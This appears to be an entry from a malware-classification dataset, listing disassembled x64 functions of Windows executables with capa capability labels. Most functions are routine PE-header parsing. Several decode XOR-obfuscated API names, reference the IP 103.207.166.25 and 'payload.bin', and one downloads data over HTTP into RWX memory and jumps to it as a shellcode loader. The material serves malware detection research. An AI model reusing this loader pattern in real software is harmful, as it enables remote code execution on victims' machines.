joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002270
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x1400022bd
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x1400022b4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x1400022bf
add rax, 0x28
cmp rax, r9
jne 0x1400022a0
xor eax, eax
ret

Function at 0x1400022c0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002350
mov rdx, qword [0x140009760]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000233e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000233e
cmp word [rax + 0x18], 0x20b
jne 0x14000233e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002350
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002329
add rbx, 0x28
cmp rbx, rdi
je 0x140002350
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002320
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002360
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140009760]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002380
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002388
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002380
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400023dd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400023d4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002380
add rax, 0x28
cmp rax, r9
jne 0x1400023c0
xor eax, eax
ret

Function at 0x1400023e0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140009760]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400023ff
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002408
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400023ff
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002420
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140009760]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002440
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002448
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002440
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002490
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002487
test rcx, rcx
je 0x140002440
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140002478
xor eax, eax
ret
Function at 0x1400024a0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140009760]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400024bf
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400024c8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1400024e0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140009760]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002500
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002508
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002500
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140002500
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140002554
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002560
add rdx, 0x28
cmp r9, rdx
jne 0x140002540
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002570
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x140009760]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002592
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x1400025a0
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002592
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002592
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002592
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x1400025f5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002608
add rdx, 0x28
cmp rdx, r10
jne 0x1400025e0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002617
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002627
mov edx, dword [rax + 0xc]
test edx, edx
je 0x1400025fe
test ecx, ecx
jg 0x140002610
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140001000
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x14000a008]
xor rax, rsp
mov qword [rbp - 8], rax
mov eax, 0x69
xor ebx, ebx
mov dword [rbp - 0x40], 0x607051f
lea ecx, [rax - 0x15]
mov word [rbp - 0x2c], ax
mov eax, 0x70
mov word [rbp - 0x22], ax
mov eax, 0x6e
mov word [rbp - 0x18], cx
mov dword [rbp - 0x3c], 0x3f24353c
mov dword [rbp - 0x38], 0x260649
mov dword [rbp - 0x30], 0x6c0048
mov word [rbp - 0xe], ax
mov dword [rbp - 0x2a], 0x48004e
mov dword [rbp - 0x26], 0x540041
mov dword [rbp - 0x20], 0x630039
mov word [rbp - 0x1c], bx
mov dword [rbp - 0x16], 0x6e0065
mov dword [rbp - 0x12], 0x650063
mov dword [rbp - 0xc], 0x74
mov ecx, ebx
lea rdx, [rbp - 0x40]
lea r8d, [rbx + 0xb]
cmp word [rbp + rcx*2 - 0x30], bx
cmove rcx, rbx
inc rdx
movzx eax, byte [rbp + rcx*2 - 0x30]
inc rcx
xor byte [rdx - 1], al
dec r8
jne 0x140001093
mov rcx, qword [0x14000c198]
lea rdx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp - 0x18]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], ebx
call rax
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.1400019b0
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rbp
ret

Function at 0x1400010f0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x14000a008]
xor rax, rsp
mov qword [rbp - 8], rax
mov eax, 0x69
mov rbx, rcx
xor ecx, ecx
mov word [rbp - 0x20], ax
mov eax, 0x4a
mov dword [rbp - 0x30], 0x2f29233e
mov word [rbp - 0x1e], ax
mov eax, 0x47
mov dword [rbp - 0x2c], 0x1000445
mov word [rbp - 0x1c], ax
mov eax, 0x67
mov dword [rbp - 0x28], 0x2f070835
mov word [rbp - 0x1a], ax
mov eax, 0x31
mov word [rbp - 0x24], 0x1324
mov word [rbp - 0x18], ax
mov eax, 0x42
mov byte [rbp - 0x22], 0
mov word [rbp - 0x12], ax
mov eax, 0x5a
mov dword [rbp - 0x16], 0x700070
mov dword [rbp - 0xe], 0x66
mov edx, ecx
lea r8, [rbp - 0x30]
lea r9d, [rax - 0x4c]
mov word [rbp - 0x10], ax
nop word [rax + rax]
cmp word [rbp + rdx*2 - 0x20], cx
cmove rdx, rcx
inc r8
movzx eax, byte [rbp + rdx*2 - 0x20]
inc rdx
xor byte [r8 - 1], al
dec r9
jne 0x140001190
mov rcx, qword [0x14000c198]
lea rdx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.103.207.166.25
mov r8d, 0x118
xor r9d, r9d
mov rcx, rbx
call rax
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.1400019b0
mov rbx, qword [rsp + 0x68]
add rsp, 0x50
pop rbp
ret
Function at 0x1400011f0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x14000a008]
xor rax, rsp
mov qword [rbp - 8], rax
mov eax, 0x65
xor edi, edi
mov rbx, rcx
mov word [rbp - 0x20], ax
mov eax, 0x6d
mov dword [rbp - 0x40], 0x4230432
mov word [rbp - 0x1e], ax
mov eax, 0x4d
mov dword [rbp - 0x3c], 0x2040061c
mov word [rbp - 0x1c], ax
mov eax, 0x4c
mov dword [rbp - 0x38], 0x3f0b3447
mov word [rbp - 0x1a], ax
mov eax, 0x68
mov dword [rbp - 0x34], 0x171d3d28
mov word [rbp - 0x18], ax
mov eax, 0x72
mov word [rbp - 0x30], 0x1b43
mov word [rbp - 0x16], ax
mov eax, 0x30
mov byte [rbp - 0x2e], 0
mov word [rbp - 0x14], ax
mov eax, 0x6f
mov dword [rbp - 0xe], 0x51
mov word [rbp - 0x12], ax
mov eax, 0x37
mov dword [rbp - 0x24], 0x54
mov word [rbp - 0x10], ax
mov eax, 0x47
mov edx, edi
mov word [rbp - 0x28], ax
mov eax, 0x45
lea r8, [rbp - 0x40]
mov word [rbp - 0x26], ax
lea r9d, [rdi + 0x12]
nop dword [rax]
cmp word [rbp + rdx*2 - 0x20], di
cmove rdx, rdi
inc r8
movzx eax, byte [rbp + rdx*2 - 0x20]
inc rdx
xor byte [r8 - 1], al
dec r9
jne 0x1400012c0
mov rcx, qword [0x14000c198]
lea rdx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [rsp + 0x30], edi
lea r8, str.payload.bin
lea rdx, [rbp - 0x28]
xor r9d, r9d
mov rcx, rbx
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
call rax
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.1400019b0
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret

Function at 0x140001330
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x14000a008]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov eax, 0x6f
xor edi, edi
mov rbx, rcx
mov word [rbp - 0x24], ax
mov eax, 0x50
mov dword [rbp - 0x40], 0x18010422
mov word [rbp - 0x22], ax
mov eax, 0x51
mov dword [rbp - 0x3c], 0x3b053b25
mov word [rbp - 0x20], ax
mov eax, 0x68
mov dword [rbp - 0x38], 0x3f110a1d
mov word [rbp - 0x1a], ax
mov eax, 0x78
mov dword [rbp - 0x34], 0x2a24210a
mov word [rbp - 0x30], 0x1c06
mov byte [rbp - 0x2e], 0
mov dword [rbp - 0x28], 0x6d0075
lea r9d, [rax - 0x66]
mov dword [rbp - 0x1e], 0x75004f
mov word [rbp - 0x18], ax
mov dword [rbp - 0x16], 0x64
mov edx, edi
lea r8, [rbp - 0x40]
nop word [rax + rax]
cmp word [rbp + rdx*2 - 0x28], di
cmove rdx, rdi
inc r8
movzx eax, byte [rbp + rdx*2 - 0x28]
inc rdx
xor byte [r8 - 1], al
dec r9
jne 0x1400013d0
mov rcx, qword [0x14000c198]
lea rdx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x30], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
call rax
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.1400019b0
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x140001440
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
mov rbp, rsp
sub rsp, 0x60
mov rax, qword [0x14000a008]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov eax, 0x56
mov rbx, rcx
xor ecx, ecx
mov word [rbp - 0x28], ax
mov eax, 0x47
mov dword [rbp - 0x40], 0x24032e01
mov word [rbp - 0x26], ax
mov eax, 0x6d
mov dword [rbp - 0x3c], 0x1d1e3941
mov word [rbp - 0x24], ax
mov eax, 0x6c
mov dword [rbp - 0x38], 0x2e332d0b
mov word [rbp - 0x22], ax
mov eax, 0x35
mov dword [rbp - 0x34], 0x2867091b
mov dword [rbp - 0x30], 0x20013f1d
mov word [rbp - 0x2c], 0x2225
mov byte [rbp - 0x2a], 0
lea r9d, [rax - 0x1f]
mov word [rbp - 0x20], ax
mov dword [rbp - 0x1e], 0x6e004d
mov dword [rbp - 0x1a], 0x6e004f
mov dword [rbp - 0x16], 0x4e
mov edx, ecx
lea r8, [rbp - 0x40]
nop dword [rax]
cmp word [rbp + rdx*2 - 0x28], cx
cmove rdx, rcx
inc r8
movzx eax, byte [rbp + rdx*2 - 0x28]
inc rdx
xor byte [r8 - 1], al
dec r9
jne 0x1400014e0
mov rcx, qword [0x14000c198]
lea rdx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edx, edx
mov rcx, rbx
call rax
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.1400019b0
mov rbx, qword [rsp + 0x78]
add rsp, 0x60
pop rbp
ret
Function at 0x140001530
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xc0
mov rax, qword [0x14000a008]
xor rax, rsp
mov qword [rbp + 0x47], rax
xor edi, edi
mov eax, 0x31
mov rbx, rcx
mov word [rbp + 0xb], ax
mov eax, 0x65
mov dword [rbp - 0x21], 0x1a2302
mov word [rbp + 0xd], ax
mov eax, 0x30
mov dword [rbp - 0x1d], 0x34413136
mov word [rbp + 0xf], ax
mov eax, 0x63
mov dword [rbp - 0x19], 0x33270845
mov word [rbp + 0x33], ax
mov eax, 0x72
mov dword [rbp - 0x15], 0x24362930
mov word [rbp + 0x35], ax
mov eax, 0x54
mov dword [rbp - 0x11], 0x4511370
mov word [rbp + 0x3b], ax
mov eax, 0x70
mov dword [rbp - 0xd], 0x24162b39
mov word [rbp + 0x3d], ax
mov eax, 0x4b
mov word [rbp - 9], 0x27
mov word [rbp + 0x17], ax
mov eax, 0x64
mov dword [rbp - 1], 0x4a0055
mov dword [rbp + 3], 0x480074
mov dword [rbp + 7], 0x450042
mov dword [rbp + 0x11], 0x6d
mov word [rbp + 0x25], ax
mov dword [rbp - 0x49], 0x3a0d3c12
mov dword [rbp - 0x45], 0x2224210e
mov dword [rbp - 0x41], 0x11211533
mov dword [rbp - 0x3d], 0x1b0602
mov dword [rbp + 0x2f], 0x550045
mov dword [rbp + 0x37], 0x55007a
mov dword [rbp + 0x3f], 0x740056
mov word [rbp + 0x43], di
mov dword [rbp - 0x39], 0x3c09261c
mov dword [rbp - 0x35], 0x27171239
mov dword [rbp - 0x31], 0x2a380804
mov dword [rbp - 0x2d], 0x223152f
mov word [rbp - 0x29], 0x10b
mov byte [rbp - 0x27], dil
mov dword [rbp + 0x19], 0x67004f
mov dword [rbp + 0x1d], 0x4d0074
mov dword [rbp + 0x21], 0x670066
mov dword [rbp + 0x27], 0x670068
mov word [rbp + 0x2b], di
mov ecx, edi
lea rdx, [rbp - 0x21]
lea r8d, [rdi + 0x19]
nop dword [rax]
cmp word [rbp + rcx*2 - 1], di
cmove rcx, rdi
inc rdx
movzx eax, byte [rbp + rcx*2 - 1]
inc rcx
xor byte [rdx - 1], al
dec r8
jne 0x140001680
mov rcx, qword [0x14000c198]
lea rdx, [rbp - 0x21]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rdi
lea rdx, [rbp - 0x49]
mov qword [rbx], rax
mov r8d, 0xf
nop dword [rax]
cmp word [rbp + rcx*2 + 0x2f], di
cmove rcx, rdi
inc rdx
movzx eax, byte [rbp + rcx*2 + 0x2f]
inc rcx
xor byte [rdx - 1], al
dec r8
jne 0x1400016c0
mov rcx, qword [0x14000c198]
lea rdx, [rbp - 0x49]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rdi
lea rdx, [rbp - 0x39]
mov qword [rbx + 8], rax
mov r8d, 0x12
nop
cmp word [rbp + rcx*2 + 0x17], di
cmove rcx, rdi
inc rdx
movzx eax, byte [rbp + rcx*2 + 0x17]
inc rcx
xor byte [rdx - 1], al
dec r8
jne 0x140001700
mov rcx, qword [0x14000c198]
lea rdx, [rbp - 0x39]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x10], rax
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.1400019b0
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x140001850
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x70
mov rax, qword [0x14000a008]
xor rax, rsp
mov qword [rsp + 0x60], rax
lea r8, str.tg:__setlanguage_langclassic_zh_cn
lea rdx, str.open
xor ebx, ebx
xor r9d, r9d
xor ecx, ecx
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rbx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rax
mov eax, 0x57
mov word [rsp + 0x48], ax
mov eax, 0x69
lea rcx, [rsp + 0x48]
mov word [rsp + 0x4a], ax
mov eax, 0x6e
mov qword [rsp + 0x30], rbx
mov word [rsp + 0x4c], ax
mov eax, 0x68
mov dword [rsp + 0x50], 0x740074
mov word [rsp + 0x4e], ax
mov eax, 0x70
mov dword [rsp + 0x5a], 0x6c006c
mov word [rsp + 0x54], ax
mov eax, 0x2e
mov word [rsp + 0x5e], bx
mov word [rsp + 0x56], ax
mov eax, 0x64
mov word [rsp + 0x58], ax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor r8d, r8d
xor edx, edx
mov ecx, 0x40000
mov qword [0x14000c198], rax
call qword [sym.imp.KERNEL32.dll_HeapCreate]
mov rdi, rax
call fcn.140001000
mov rcx, rax
mov rbp, rax
call fcn.1400010f0
mov rcx, rax
mov rsi, rax
call fcn.1400011f0
mov rcx, rax
mov rbx, rax
call fcn.140001330
mov rcx, rbx
call fcn.140001440
lea rcx, [rsp + 0x30]
call fcn.140001530
lea rdx, [rsp + 0x30]
mov r8, rbx
mov rcx, rdi
call fcn.140001760
mov rcx, rbx
mov rbx, qword [rsp + 0x40]
mov rdi, rax
call rbx
mov rcx, rsi
call rbx
mov rcx, rbp
call rbx
call rdi
xor ecx, ecx
call fcn.140001d30
int3

Function at 0x140001d30
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140001ba0
Function at 0x140001fe7
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14000a008]
jne 0x1400019ca
rol rcx, 0x10
test cx, 0xffff
jne 0x1400019c6
repz ret
ror rcx, 0x10
jmp 0x140001f40
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14000aff0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x14000b0e8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140001fc5
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14000aff0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140001fe7
mov rax, qword [rsp + 0x88]
mov qword [0x14000b0e8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14000b088], rax
mov rax, qword [0x14000b0e8]
mov qword [0x14000af60], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14000b070], rax
mov dword [0x14000af50], 0xc0000409
mov dword [0x14000af54], 1
mov rax, qword [0x14000a008]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14000a010]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14000afe8], eax
mov ecx, 1
call fcn.140003df0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140007278]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14000afe8], 0
jne 0x14000206e
mov ecx, 1
call fcn.140003df0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x1400052c8
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x14000a008]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.1400027e8
xor ebx, ebx
cmp qword [0x14000bfb0], rbx
mov rdi, rax
jne 0x1400053db
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x1400054b2
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400054b2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x14000bfb0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x14000bfb8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x14000bfc0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x14000bfd0], rax
test rax, rax
je 0x1400053d2
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x14000bfc8], rax
jmp 0x1400053e2
mov rax, qword [0x14000bfc8]
jmp 0x1400053e9
mov rax, qword [0x14000bfc8]
mov r11, qword [0x14000bfd0]
cmp rax, rdi
je 0x140005450
cmp r11, rdi
je 0x140005450
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x14000bfd0]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x140005450
test rax, rax
je 0x140005450
call rsi
test rax, rax
je 0x14000544a
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14000544a
test byte [rsp + 0x40], 1
jne 0x140005450
bts ebp, 0x15
jmp 0x140005490
mov rcx, qword [0x14000bfb8]
cmp rcx, rdi
je 0x140005490
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140005490
call rax
mov rbx, rax
test rax, rax
je 0x140005490
mov rcx, qword [0x14000bfc0]
cmp rcx, rdi
je 0x140005490
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140005490
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x14000bfb0]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1400054b2
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x1400054b4
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400019b0
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x409190
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get http content length
Read data from internet
Receive data

Disassembly:
mov rax, rsp
sub rsp, 0x98
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rdi
lea rcx, [rax - 0x60]
call fcn.004038c0
cmp qword [rax + 0x20], 0x10
jb 0x4091c1
mov rcx, qword [rax + 8]
jmp 0x4091c5
lea rcx, [rax + 8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x0041c240], rax
cmp qword [rsp + 0x58], 0x10
jb 0x4091e4
mov rcx, qword [rsp + 0x40]
call fcn.00409ef0
lea rcx, [rsp + 0x60]
call fcn.00404410
mov rbx, rax
lea rcx, [rsp + 0x38]
call fcn.00402b60
nop
cmp qword [rbx + 0x20], 0x10
jb 0x409209
mov rbx, qword [rbx + 8]
jmp 0x40920d
add rbx, 8
cmp qword [rax + 0x20], 0x10
jb 0x40921a
mov rdx, qword [rax + 8]
jmp 0x40921e
lea rdx, [rax + 8]
mov rcx, qword [0x0041c240]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edi, edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
lea edx, [rdi + 1]
mov rcx, rbx
call rax
mov qword [0x0041c238], rax
cmp qword [rsp + 0x58], 0x10
jb 0x409258
mov rcx, qword [rsp + 0x40]
call fcn.00409ef0
mov qword [rsp + 0x58], 0xf
mov qword [rsp + 0x50], rdi
mov byte [rsp + 0x40], 0
cmp qword [rsp + 0x80], 0x10
jb 0x409280
mov rcx, qword [rsp + 0x68]
call fcn.00409ef0
lea rcx, [rsp + 0x60]
call fcn.00404c40
cmp qword [rax + 0x20], 0x10
jb 0x409297
mov rdx, qword [rax + 8]
jmp 0x40929b
lea rdx, [rax + 8]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [0x0041c238]
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov qword [0x0041c230], rax
cmp qword [rsp + 0x80], 0x10
jb 0x4092de
mov rcx, qword [rsp + 0x68]
call fcn.00409ef0
mov rax, qword [0x0041c230]
mov dword [0x0041c344], 4
mov qword [rsp + 0x20], rdi
lea r9, [0x0041c344]
lea r8, [0x0041c340]
mov edx, 0x20000005
mov rcx, rax
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
mov ecx, dword [0x0041c340]
call fcn.00409c30
mov qword [0x0041c228], rax
lea r9, [0x0041c348]
mov r8d, dword [0x0041c340]
mov rdx, rax
mov rcx, qword [0x0041c230]
call qword [sym.imp.WININET.dll_InternetReadFile]
mov edx, dword [0x0041c340]
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [0x0041c220], rax
mov r8d, dword [0x0041c340]
mov rdx, qword [0x0041c228]
mov rcx, rax
mov rbx, qword [rsp + 0xb0]
mov rdi, qword [rsp + 0xb8]
add rsp, 0x98
jmp fcn.0040ac10